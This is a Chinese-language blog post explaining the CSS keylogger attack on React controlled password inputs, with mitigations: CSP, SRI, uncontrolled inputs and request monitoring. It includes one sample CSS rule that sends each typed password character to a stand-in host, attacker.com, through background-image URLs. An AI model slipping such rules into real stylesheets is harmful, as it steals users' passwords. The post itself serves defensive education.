React 应用中的 CSS 键盘记录器攻击-EW帮帮网

最近学习了小满 zs 在网络安全领域分享的文章《网络安全（CSS 键盘记录器-React）》，文中在网络安全中输入法的攻击方式。文章举例：利用 CSS 特性窃取用户密码。本文将结合其技术原理，讲解攻击逻辑、影响范围及防御策略。

该攻击的本质是利用 CSS 属性选择器 结合 React 的受控组件更新机制 实现密码窃取：

CSS 属性选择器陷阱
攻击者注入恶意 CSS 规则，对每个可能的字符（如 a, 1, @）定义一条规则：
```
input[type="password"][value$="a"] { 
  background-image: url("http://attacker.com/a");
}
/* 其他字符规则... */
```
[value$="a"] 表示选择 value 属性值以 "a" 结尾的密码输入框。
React 受控组件的关键作用
攻击仅对 React（或类 React 框架）有效，原因在于其 受控组件机制：
- 用户每次按键触发 onChange 事件。
- React 更新组件状态并将新值 同步回写 到 <input> 的 value DOM 属性。
- 例如输入 "s" 时，React 会设置 <input type="password" value="s">。
窃密过程触发
当 value 属性被更新为以特定字符结尾时（如 "s"），对应的 CSS 规则被激活。浏览器尝试加载 background-image 指定的 URL（如 http://attacker.com/s），向攻击者服务器发送一个携带字符信息的 HTTP GET 请求。通过记录字符序列，攻击者即可还原完整密码。

技术原理依然存在
React 受控组件的核心机制（状态驱动视图、同步更新 DOM 属性）未改变。只要应用使用受控密码输入框且加载了恶意 CSS，攻击理论上仍可生效。
风险来源与缓解
- 主要风险：恶意第三方 CSS/JS 库（通过供应链攻击、CDN 劫持、XSS 注入）。
- 框架演进：React 未“修复”此机制，因其本质是框架特性（非漏洞）。
- 开发者范式：对第三方资源引入更谨慎，CSP 等防护措施普及度提高。

严格管控第三方资源（最高优先级）
- 内容安全策略 (CSP)：通过 style-src 指令限制 CSS 来源。
```
Content-Security-Policy: style-src 'self' https://trusted.cdn.com;
```
避免 'unsafe-inline'，防止内联恶意样式。
- 子资源完整性 (SRI)：对 CDN 资源添加哈希校验，防止篡改。
```
<link href="https://cdn.com/lib.css" 
      integrity="sha384-..." 
      crossorigin="anonymous" 
      rel="stylesheet">
```
- 沙箱隔离：使用 <iframe> 隔离不可信第三方内容（如广告）。
优化密码输入组件实现
- 非受控组件：对纯密码输入框，使用 ref 替代 value 绑定（仅在提交时取值），避免实时更新 DOM 属性。
```
const inputRef = useRef();
// 提交时通过 inputRef.current.value 获取
```
- 只读层+自定义输入：创建 readOnly 输入框，用自定义组件（如 Canvas/Div）处理输入（适用于高安全场景）。
辅助安全措施
- 监控异常请求（高频短路径请求如 /a, /b）。
- 推荐用户使用密码管理器自动填充，减少击键次数。
- 定期检查第三方依赖安全性。

CSS 键盘记录器攻击揭示了前端安全的隐蔽性：即使未触发 XSS，仅通过样式表也能窃取敏感数据。其成功依赖两点：React 受控组件的 DOM 更新机制 和 恶意 CSS 的注入途径。

日常开发过程中需要注意：

致谢与参考
本文技术分析基于小满 zs 的原创研究《网络安全（CSS 键盘记录器-React）》。

React 应用中的 CSS 键盘记录器攻击